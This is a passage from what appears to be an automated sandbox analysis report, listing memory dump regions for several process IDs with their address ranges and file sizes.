                                                                                                                                                                          • memory/5184-896-0x00007FF9B8F80000-0x00007FF9B8F91000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            68KB

                                                                                                                                                                          • memory/5184-898-0x00007FF9B81C0000-0x00007FF9B81D1000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            68KB

                                                                                                                                                                          • memory/5184-897-0x00007FF9B8F60000-0x00007FF9B8F71000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            68KB

                                                                                                                                                                          • memory/5184-895-0x00007FF9B8FA0000-0x00007FF9B8FB8000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            96KB

                                                                                                                                                                          • memory/5184-892-0x00007FF9B81E0000-0x00007FF9B83EB000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            2.0MB

                                                                                                                                                                          • memory/5184-893-0x00007FF9B9070000-0x00007FF9B90B1000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            260KB

                                                                                                                                                                          • memory/5292-215-0x00000000002B0000-0x00000000019F9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5292-412-0x00000000002B0000-0x00000000019F9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5344-222-0x00000000002B0000-0x00000000019F9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5344-322-0x00000000002B0000-0x00000000019F9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5360-224-0x00000000002B0000-0x00000000019F9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5360-323-0x00000000002B0000-0x00000000019F9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5424-990-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5616-616-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5616-596-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5888-765-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/5888-447-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/6072-477-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/6072-464-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/6076-349-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/6076-952-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB

                                                                                                                                                                          • memory/6076-708-0x0000000000170000-0x00000000018B9000-memory.dmp

                                                                                                                                                                            Filesize

                                                                                                                                                                            23.3MB